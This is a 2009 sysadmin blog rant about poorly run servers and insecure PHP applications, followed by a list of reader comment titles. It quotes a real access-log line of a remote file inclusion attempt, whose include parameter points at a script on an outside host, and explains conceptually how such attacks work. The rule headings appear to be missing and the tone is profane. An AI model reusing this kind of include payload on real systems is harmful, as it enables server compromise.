Comments & Opinions
After having cursed for long time looking at servers that looks like they have been installed by Attila the Hun and after having seen the too many problems that phpproblammer distribute with too little concern, I've decided to put together these little rules. Probably I'll expand this into one (or more) real article, but this morning, after seeing something like this
22.214.171.124 - - [22/Oct/2009:18:29:21 +0200] "GET /page/tools/phpsecurityadmin/include=http://www.thelampshade.com/store//images/attributes/id.txt%0D??
for the bazillionth time, I had enough.
Obviously I've sent a couple of mails to the admins of that site, but I'm not holding my breath about it.
And they even called it 'phpsecurityadmin'! PHPieceofshit I say!
So, here are my ten little rules, let's call them the "rules of the non-completely-moron-sysadmin".
And before you ask, "localhost", "john", "www" and "c3p0" ARE NOT decent names. Especially the first and the last. Do you think you are funny?
Here we could go on with a very long discussion, giving to each machine the same name as the user make sense only if they are not used by multiple peoples, and using 'coded' names like 'RKZ90876-2' has the obvious disadvantage that nobody knows which machine is which.
There is already too much spam around the world, why do you want to add even more?
And if you don't know what an FQDN is, maybe you should NOT manage a mail server. And before you ask, 'localhost.localdomain' ain't a valid fqdn!
This shouldn't require an explanation, but apparently there is a lot of peoples that
like to provide this kind of "functionality" in their
web-application, then your mail server goes into every black list and you ask yourself
Even this shouldn't require an explanation, but is way too much time that I see way too many entries in my logs like the one above. And this bring us to the next rule...
If you see 10.000 requests for a .txt or .asp file that shouldn't be there get worried, the same if you see 3000 mails in the queue. And if you can't understand the fscking logs maybe you shouldn't administer a server!
That are specified in the RFC! And "correctly" doesn't mean route them to /dev/null!
That I am sick and tired of seeing idiots trying to execute/read shit from web sites whose admins are one step below nematods
And last but not least...
Do not click on 'delete' and do not answer "fsck if I know"!
WARNING: do not send any comment with "do you have a problem with Php" or "php is easy and so...". I DON'T GIVE A FLYING FUCK! Don't know why but out of 20 shit applications, 19 are made in php, so I consider ALL OF THEM crap. I'm sure that somewhere, well hidden, there are good php programmers that don't distribute around crap, but I prefer the "guantanamo bay" approach: everything is crap until proved. And if you're curious: the 20th applicrappation is our java interface.
Lots of peoples have mailed/asked about that log fragment I posted above, and it looks like there are a lot of confused minds around. So let's shed some light on the issue.
That piece of log reports what is usually called a remote include vulnerability, the idea is pretty simple: have a specific script executed on a server to get informations and/or access to the server itself.
In some cases the cracker can simply upload the script on the machine abusing some services that is available or functionalities of web applications that are not really secure. In some other case (like this one) the trick is to abuse of a function that PHP uses a lot: the ability to include a script into another script and have it executed.
That's fine if the programmer keeps an eye of what is included and from where, but sometimes the programmer decide to "trust" the system and allow the include script to be specified on the URL. And in some cases he even allow a URL to be specified as the script to execute.
So the game is: put your script on a server somewhere, the trick the system to get it from your server and execute it on the vulnerable server. Of course what the script can do once executed depends on the specific rights and ability of the web server, but something makes me think that if the owner of a system allow some piece of junk to run without control, he won't have any problem in giving his web server all the rights in the world.
Comments are added when and more important if I have the time to review them and after removing Spam, Crap, Phishing and the like. So don't hold your breath. And if your comment doesn't appear, is probably becuase it wasn't worth it.
@ Eremita Solitario
By Anonymous coward - posted 23/10/2009 10:40
@ Eremita Solitario
By Emanuele Graziano - posted 27/10/2009 15:22
ok non comincio
By argaar - posted 23/10/2009 10:24
By Davide Inglima - posted 23/10/2009 11:03
By Luigi - posted 23/10/2009 13:05
By Davide Bianchi - posted 23/10/2009 13:12
@ Davide Bianchi
By Luigi - posted 23/10/2009 14:37
By Luca Benelli - posted 23/10/2009 13:41
@ Luca Benelli
By R. Damon - posted 24/10/2009 21:05
M _ _ _ _ IA
By Mauro Pietrobelli - posted 23/10/2009 14:33
By Aleritty - posted 23/10/2009 15:47
the good boy
By THE Anonymous coward - posted 24/10/2009 10:06
THE Anonymous coward
@ THE Anonymous coward
By Davide Bianchi - posted 24/10/2009 11:21
By Il codardo senza nome - posted 24/10/2009 12:08
Il codardo senza nome
Mi sa che sono un caprone..
By Rick - posted 24/10/2009 17:16
By beppe - posted 24/10/2009 19:42
e se e' un webserver...
By R.Damon - posted 24/10/2009 20:48
By Simone - posted 26/10/2009 09:14
Vediamo se ho capito che ha quel log...
By Sabrina - posted 26/10/2009 15:03
By Davide Bianchi - posted 26/10/2009 16:19
Anche in questo caso l'errore rimane tra sedia e tastiera
By Gama - posted 27/10/2009 08:48
Tutti abbiamo bisogno di credere in qualcosa... Io credo che mi faro' un'altra birra!
By Davide Bianchi - posted 27/10/2009 09:05
@ Davide Bianchi
By Adriano - posted 27/10/2009 13:46
La sicurezza e` sempre l'ultimo dei problemi
By Kurgan - posted 27/10/2009 10:38
Il massimo danno con il minimo sforzo
By Alberto - posted 27/10/2009 22:50
By Anonymous coward - posted 01/11/2009 23:44
This site is made by me with blood, sweat and gunpowder, if you want to republish or redistribute any part of it, please drop me (or the author of the article if is not me) a mail.
This site was composed with VIM, now is composed with VIM and the (in)famous CMS FdT.
This site isn't optimized for vision with any specific browser, nor
it requires special fonts or resolution.
You're free to see it as you wish.